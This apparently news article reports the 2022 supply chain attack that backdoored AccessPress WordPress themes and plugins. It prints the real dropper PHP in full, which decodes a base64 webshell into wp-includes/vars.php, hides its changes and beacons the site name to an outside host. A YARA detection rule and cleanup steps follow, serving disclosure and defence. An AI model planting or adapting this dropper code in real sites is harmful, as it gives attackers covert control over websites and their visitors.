Over 90 WordPress themes, plugins backdoored in supply chain attack

By
Bill Toulas (https://www.bleepingcomputer.com/author/bill-toulas/)

January 21, 2022 10:34 AM **0**

A massive supply chain attack compromised 93 WordPress themes and plugins to contain a backdoor, giving threat-actors full access to websites.

In total, threat actors compromised 40 themes and 53 plugins belonging to AccessPress, a developer of WordPress add-ons used in over 360,000 active websites.

The attack was discovered by researchers at Jetpack, the creators of a security and optimization tool for WordPress sites, who discovered that a PHP backdoor had been added to the themes and plugins.

Jetpack believes an external threat actor breached the AccessPress website to compromise the software and infect further WordPress sites.

A backdoor to give complete control

As soon as admins installed a compromised AccessPress product on their site, the actors added a new “initial.php” file into the main theme directory and included it in the main “functions.php” file.

This file contained a base64 encoded payload that writes a webshell into the “./wp-includes/vars.php” file.

```php
<?php
function finishInit() {
    unlink(__FILE__);
}

function makeInit() {
    $b64 = 'ba' . 'se64' . '_dec' . 'ode';
    $b = 'ZnVuY3Rpb24gd3BfaXNfbW9iaWxlX2ZpeCgpIHsKCSRpc193cF9tb2Jp
    bGUgPSAoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddID09ICd3cF9pc
    19tb2JpbGUnKTsKCSRnID0gJF9DT09LSUU7CgoJKGNvdW50KCRnKSA9PS
    A4ICYmICRpc193cF9tb2JpbGUpID8KCSgoJHFyID0gJGdbMzNdLiRnWzM
    yXSkgJiYgKCRpdiA9ICRxcigkZ1s3OF0uJGdbMThdKSkgJiYKCSgkX2l2
    ID0gJHFyKCRnWzEyXS4kZ1sxN10pKSAmJiAoJF9pdiA9IEAkaXYoJGdbM
    TBdLCAkX2l2KCRxcigkZ1s1M10pKSkgJiYgKCRfaXYoKSkgOiAkZz
    sKCQoJcmV0dXJuICRpc193cF9tb2JpbGU7Cn0KCndwX2lzX21vYmlsZV9
    maXgoKTsKCg==';

    $f = $_SERVER['DOCUMENT_ROOT'] . '/wp-includes/vars.php';
    if(file_exists($f)) {
        $fp = 0777 & @fileperms($f);
        $ft = @filemtime($f);
        $fc = @file_get_contents($f);
        if(strpos($fc, 'wp_is_mobile_fix') === false) {
            $fc = str_replace('function wp_is_mobile()',
                $b64($b) . 'function wp_is_mobile()',
                $fc);
            @file_put_contents($f, $fc);
            @touch($f, $ft);
            @chmod($f, $fp);
        }
        return true;
    }
    return false;
}

add_action( 'admin_notices', 'wp_notice_plug', 20 );
if ( !function_exists( 'wp_notice_plug' ) ) {

    function wp_notice_plug() {
        echo '<img style="display: none;" src="https://www.wp-theme-connect.com/images/wp-theme.jpg
?th=' . $_SERVER["HTTP_HOST"] . '&thn=vmagazine-lite">';
    }

}
```

Encoded payload writing the webshell

Source: Sucuri

The malicious code completed the backdoor installation by decoding the payload and injecting it into the “vars.php” file, essentially giving the threat actors remote control over the infected site.

The only way to detect this threat is to use a core file integrity monitoring solution, as the malware deletes the “initial.php” file dropper to cover its tracks.

According to Sucuri (https://blog.sucuri.net/2022/01/accesspress-themes-hit-with-targeted-supply-chain-attack.html) researchers who investigated the case to figure out the actors’ goal, threat actors used the backdoor to redirect visitors to malware-dropping and scam sites. Therefore, the campaign wasn’t very sophisticated.

It’s also possible that the actor used this malware to sell access to backdoored websites on the dark web, which would be an effective way to monetize such a large-scale infection.

Am I affected?

If you have installed one of the compromised plugins or themes on your site, removing/replacing/updating them won’t uproot any webshells that may have been planted through it.

As such, website administrators are advised to scan their sites for signs of compromise by doing the following:

- Check your wp-includes/vars.php file around lines 146-158. If you see a "wp_is_mobile_fix" function there with some obfuscated code, you've been compromised.
- Query your file system for "wp_is_mobile_fix" or "wp-theme-connect" to see if there are any affected files
- Replace your core WordPress files with fresh copies.
- Upgrade the affected plugins and switch to a different theme.
- Change the wp-admin and database passwords.

Jetpack has provided the following YARA rule that can be used to check if a site has been infected and detect both the dropper and the installed webshell.

```
rule accesspress_backdoor_infection
{
strings:

   // IoC's for the dropper
   $inject0 = "$fc = str_replace('function wp_is_mobile
()',"
   $inject1 = "$b64($b) . 'function wp_is_mobile()',"
   $inject2 = "$fc);"
   $inject3 = "@file_put_contents($f, $fc);"

   // IoC's for the dumped payload
   $payload0 = "function wp_is_mobile_fix()"
   $payload1 = "$is_wp_mobile = ($_SERVER['HTTP_USER_AGEN
T'] == 'wp_is_mobile');"
   $payload2 = "$g = $_COOKIE;"
   $payload3 = "(count($g) == 8 && $is_wp_mobile) ?"

   $url0 = /https?:\/\/(www\.)?wp\-theme\-connect\.com(\/im
ages\/wp\-theme\.jpg)?/

condition:

   all of ( $inject* )
   or all of ( $payload* )
   or $url0
}
```

Backdoors detected in September

Jetpack first detected the backdoor in September 2021, and soon after, the researchers discovered that threat actors had compromised all free plugins and themes belonging to the vendor.

Jetpack believes that the paid AccessPress add-ons were likely compromised but didn't test those, so this cannot be confirmed.

Most of the products had likely been compromised in early September from the timestamps.

On October 15, 2021, the vendor removed the extensions from the official download portal until the point of the compromise was located and fixed.

On January 17, 2022, AccessPress released new, "cleaned" versions for all the affected plugins.

However, the affected themes haven't been cleaned yet, so migrating to a different theme is the only way to mitigate the security risks.

Users of AccessPress plugins and themes can read Jetpack's post (https://jetpack.com/2022/01/18/backdoor-found-in-themes-and-plugins-from-accesspress-themes/) for a complete list of the fixed products.

BleepingComputer attempted to contact AccessPress about the compromise, but the contact form is not working.

Related Articles:

WordPress plugin flaw puts users of 20,000 sites at phishing risk (https://www.bleepingcomputer.com/news/security/wordpress-plugin-flaw-puts-users-of-20-000-sites-at-phishing-risk/)

800K WordPress sites still impacted by critical SEO plugin flaw (https://www.bleepingcomputer.com/news/security/800k-wordpress-sites-still-impacted-by-critical-seo-plugin-flaw/)

Massive attack against 1.6 million WordPress sites underway (https://www.bleepingcomputer.com/news/security/massive-attack-against-16-million-wordpress-sites-underway/)

Hackers infect random WordPress plugins to steal credit cards (https://www.bleepingcomputer.com/news/security/hackers-infect-random-wordpress-plugins-to-steal-credit-cards/)

Dev corrupts NPM libs 'colors' and 'faker' breaking thousands of apps (https://www.bleepingcomputer.com/news/security/dev-corrupts-npm-libs-colors-and-faker-breaking-thousands-of-apps/)

BACKDOOR (HTTPS://WWW.BLEEPINGCOMPUTER.COM/TAG/BACKDOOR/)

PLUGIN (HTTPS://WWW.BLEEPINGCOMPUTER.COM/TAG/PLUGIN/)

SUPPLY-CHAIN ATTACK (HTTPS://WWW.BLEEPINGCOMPUTER.COM/TAG/SUPPLY-CHAIN-ATTACK/)

THEME (HTTPS://WWW.BLEEPINGCOMPUTER.COM/TAG/THEME/)

WORDPRESS (HTTPS://WWW.BLEEPINGCOMPUTER.COM/TAG/WORDPRESS/)